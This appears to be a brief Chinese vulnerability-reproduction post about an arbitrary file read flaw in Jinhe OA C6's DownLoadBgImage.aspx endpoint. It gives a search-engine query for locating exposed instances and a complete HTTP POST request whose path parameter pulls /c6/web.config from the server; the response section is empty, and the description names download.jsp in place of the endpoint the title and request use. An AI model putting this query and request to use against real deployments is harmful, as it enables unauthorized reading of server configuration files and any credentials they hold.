【漏洞复现】金和OA DownLoadBgImage.aspx接口存在文件读取漏洞

熔城Sec

发布于 2026-07-22 19:44:30

750

漏洞描述

金和OA C6 download.jsp文件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息

资产收集

鹰图平台
web.title=="金和协同管理平台"

发送请求

POST /c6/Jhsoft.Web.AddMenu/LoginTemplate/DownLoadBgImage.aspx/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host:
Content-Length: 19
Content-Type: application/x-www-form-urlencoded
path=/c6/web.config

返回包